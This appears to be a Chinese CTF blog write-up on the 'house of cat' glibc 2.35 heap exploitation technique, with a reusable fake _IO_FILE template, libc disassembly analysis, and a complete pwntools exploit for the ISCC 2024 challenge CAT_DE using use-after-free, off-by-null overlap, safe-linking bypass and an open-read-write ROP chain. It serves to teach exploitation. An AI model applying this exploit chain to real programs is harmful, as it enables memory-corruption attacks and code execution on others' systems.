这次要说的是house系列之house of cat,这个手法,我学了三四天,才有那么一点点觉悟。

首先,这个手法适用于(我目前学到的)

1:高版本且能够触发IO流,且知道libc和堆地址;

2:能够任意地址写(至少一次);

我们需要伪造一个fake_IO_file

模板

ioaddr=heapaddr+0x290
next_chain = 0
fake_IO_FILE = p64(0)*4
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(ioaddr+0xb0) #_IO_backup_base
fake_IO_FILE +=p64(setcontext+61)# _IO_save_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heapaddr+0x200) #_lock
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(ioaddr+0x30) #_wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(1) # mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libcbase+0x2170d0) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(ioaddr+0x40) # rax2
flagaddr=heapaddr+0x1e250
payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(heapaddr+0x6c0+0x10)#ropaddr
payload1+=p64(ret)

触发malloc_assert后,程序原本的_IO_FILE

正常的执行流:

​ ||

​ ||

​ /

​ ||

​ ||

​ /

​ ||

​ ||

​ /

可以看到之后call的是[__IO_file_jumps+0x38]

我们看一下vtable _IO_file_jumps

可以看到__IO_file_jumps+0x38对应的正是虚函数 _IO_new_file_xsputn。

再来看一下伪造的,当我们把程序原本的_IO_FILE的 vtable: _IO_file_jumps更换为__IO_file_jumps+0x10,那么根据虚表后面会调用 _IO_new_file_seekoff ,

此时rdi是我们的ioaddr也就是我们所伪造的fake_io_file

这里感觉CatF1y师傅讲的太好了,索性搬过来一点。

其中_IO_wfile_seekoff函数代码如下

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
off64_t result;
off64_t delta, new_offset;
long int count;

if (mode == 0)
return do_ftell_wide (fp);
int must_be_exact = ((fp->_wide_data->_IO_read_base
== fp->_wide_data->_IO_read_end)
&& (fp->_wide_data->_IO_write_base
== fp->_wide_data->_IO_write_ptr));
#需要绕过was_writing的检测
bool was_writing = ((fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)
|| _IO_in_put_mode (fp));

if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
......
}

其中fp结构体是我们可以伪造的,可以控制fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base来调用_IO_switch_to_wget_mode这个函数,继续跟进代码

int
_IO_switch_to_wget_mode (FILE *fp)
{
if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
return EOF;
......
}

我们再来看看_IO_switch_to_wget_mode汇编代码

0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr64
0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx
0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>

0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]

主要关注这几句,做了一下几点事情

1.将[rdi+0xa0]处的内容赋值给rax,为了避免与下面的rax混淆,称之为rax1
2.将新赋值的[rax1+0x20]处的内容赋值给rdx。
3.将[rax1+0xe0]处的内容赋值给rax,称之为rax2
4.call调用[rax2+0x18]处的内容。

0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]

这里最终call的就是[ [ [rdi+0xa0]+0xe0]+0x18],也就是我们上面fake_io_file的setcontext+61(慢慢调试)

然后我们再看

根据执行setcontext+61,最后会执行rdx+0xa8和0xa0

再合理布置好rop就行了。

就拿2024年的iscc中的CAT_DE来演示吧

题目环境:2.35

有UAF,禁用了execve,并且exit里面可以溢出一个”\x00”。

add(0x420,b"\x00")
add(0x430,b"\x00")
add(0x418,b"\x00")
delete(0)
add(0x430,b"flag")
add(0x420,b"\x00")
show(3)
p.recvuntil("context:")
p.recvuntil(b"\x0a")
libcbase=u64(p.recv(6).ljust(8,b"\x00"))-0x21a0d0-0xf30
p.recv(10)
heapaddr=u64(p.recv(6).ljust(8,b"\x00"))-0x290
print(hex(libcbase))
print(hex(heapaddr))

利用UAF,使用largebin泄露libc和heapaddr。

for i in range(6):
add(0xf8,b"\x00")
add(0xf8,b"\x00")#10
add(0x3f8,b"\x00")#11
add(0xf8,b"\x00")#12
add(0xf8,b"\x00")#13
add(0xf8,b"\x00")#14
edit(10,p64(0)+p64(0x4f1)+p64(heapaddr+0x1970)*2)
edit(11,b"a"*0x3f0+p64(0x4f0)+b"\x00")
for i in range(3,9):
delete(i)
add(0x420,b"\x00")
delete(9)

利用off by null打堆块重叠。

add(0xa0,b"\x00")
add(0xa0,b"\x00")
add(0xa0,b"\x00")
delete(6)
delete(5)
print(hex(heapaddr>>12))
m=(heapaddr>>12)+1
print(hex(m))
l=m^stderr#高版本glibc堆fd指针加密绕过
print("====>"+hex(stderr))
print(hex(l))
edit(10,p64(0)+p64(0xb1)+p64(libcbase+0x21b100)*2+p64(heapaddr+0x1970)*2+p64(0)*17+p64(0xb1)+p64(l))
add(0xa0,b"\x00")
add(0xa0,b"\x00")

# gdb.attach(p)

edit(3,payload1)
edit(6,p64(heapaddr+0x290))

由于是libc2.35,我们无法直接修改正确的fd指针,需要进行fd指针加密绕过,具体可以看

高版本libc堆fd指针绕过 - 蟇窳瓨 - 博客园 (cnblogs.com)

payload=p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rdxr12)+p64(0)*2+p64(rax)+p64(2)+p64(syscallret)
payload+=p64(rdi)+p64(3)+p64(rsi)+p64(heapaddr+0x200)+p64(rdxr12)+p64(0x50)+p64(0)+p64(rax)+p64(0)+p64(syscallret)
payload+=p64(rdi)+p64(1)+p64(rsi)+p64(heapaddr+0x200)+p64(rdxr12)+p64(0x50)+p64(0)+p64(rax)+p64(1)+p64(syscallret)
edit(1,payload)

在一个可写的地方(一般是堆块)布置rop

for i in range(14):
add(0x2000,b"\x00")
add(0x2000-0x8,b"a")
edit(24,b"flag\x00"+b"a"*(0x2000-4))
p.sendlineafter( b'input your car choice >>',b'1')
gdb.attach(p)
p.sendafter(b'size:',str(0x1000))

最后触发malloc_assert。

exp

from pwn import*
context.log_level="debug"
p=process("./CAT_DE")

# p=remote("182.92.237.102",2122)

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(index,input):
p.sendlineafter( b'input your car choice >>',b'1')
p.sendafter(b'size:',str(index))
p.sendafter(b"content:",input)
def delete(index):
p.sendlineafter( b'input your car choice >>',b'2')
p.sendafter(b'idx:',str(index))
def edit(index,input):
p.sendlineafter( b'input your car choice >>',b'4')
p.sendafter(b'idx:',str(index))
p.sendafter(b'content:',input)
def show(index):
p.sendlineafter( b'input your car choice >>',b'3')
p.sendafter(b'idx:',str(index))
gdb.attach(p)
add(0x420,b"\x00")
add(0x430,b"\x00")
add(0x418,b"\x00")
delete(0)
add(0x430,b"flag")
add(0x420,b"\x00")
show(3)
p.recvuntil("context:")
p.recvuntil(b"\x0a")
libcbase=u64(p.recv(6).ljust(8,b"\x00"))-0x21a0d0-0xf30
p.recv(10)
heapaddr=u64(p.recv(6).ljust(8,b"\x00"))-0x290
print(hex(libcbase))
print(hex(heapaddr))

rdi=libcbase+0x000000000002a3e5
rsi=libcbase+0x000000000002be51
rdxr12=libcbase+0x000000000011f2e7
ret=libcbase+0x0000000000029cd6
rax=libcbase+0x0000000000045eb0
stderr=libcbase+libc.sym['stderr']
setcontext=libcbase+libc.sym['setcontext']
close=libcbase+libc.sym['close']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
syscallret=libcbase+0xea549

ioaddr=heapaddr+0x290
next_chain = 0
fake_IO_FILE = p64(0)*4
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(ioaddr+0xb0) #_IO_backup_base
fake_IO_FILE +=p64(setcontext+61)# _IO_save_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heapaddr+0x200) #_lock
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(ioaddr+0x30) #_wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(1) # mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libcbase+0x2170d0) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(ioaddr+0x40) # rax2
flagaddr=heapaddr+0x1e250
payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(heapaddr+0x6c0+0x10)+p64(ret)#heapaddr+0x2040ropaddr
for i in range(6):
add(0xf8,b"\x00")
add(0xf8,b"\x00")#10
add(0x3f8,b"\x00")#11
add(0xf8,b"\x00")#12
add(0xf8,b"\x00")#13
add(0xf8,b"\x00")#14
edit(10,p64(0)+p64(0x4f1)+p64(heapaddr+0x1970)*2)
edit(11,b"a"*0x3f0+p64(0x4f0)+b"\x00")
for i in range(3,9):
delete(i)
add(0x420,b"\x00")
delete(9)
delete(13)
delete(12)
add(0xa0,b"\x00")
add(0xa0,b"\x00")
add(0xa0,b"\x00")
delete(6)
delete(5)
print(hex(heapaddr>>12))
m=(heapaddr>>12)+1
print(hex(m))
l=m^stderr
print("====>"+hex(stderr))
print(hex(l))
edit(10,p64(0)+p64(0xb1)+p64(libcbase+0x21b100)*2+p64(heapaddr+0x1970)*2+p64(0)*17+p64(0xb1)+p64(l))
add(0xa0,b"\x00")
add(0xa0,b"\x00")

# gdb.attach(p)

edit(3,payload1)
edit(6,p64(heapaddr+0x290))
payload=p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rdxr12)+p64(0)*2+p64(rax)+p64(2)+p64(syscallret)
payload+=p64(rdi)+p64(3)+p64(rsi)+p64(heapaddr+0x200)+p64(rdxr12)+p64(0x50)+p64(0)+p64(rax)+p64(0)+p64(syscallret)
payload+=p64(rdi)+p64(1)+p64(rsi)+p64(heapaddr+0x200)+p64(rdxr12)+p64(0x50)+p64(0)+p64(rax)+p64(1)+p64(syscallret)
edit(1,payload)
for i in range(14):
add(0x2000,b"\x00")
add(0x2000-0x8,b"a")
edit(24,b"flag\x00"+b"a"*(0x2000-4))
p.sendlineafter( b'input your car choice >>',b'1')
gdb.attach(p)
p.sendafter(b'size:',str(0x1000))
p.interactive()

文章参考
高版本libc堆fd指针绕过 - 蟇窳瓨 - 博客园 (cnblogs.com)

[原创]House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解-Pwn-看雪-安全社区|安全招聘|kanxue.com

house of cat 学习-CSDN博客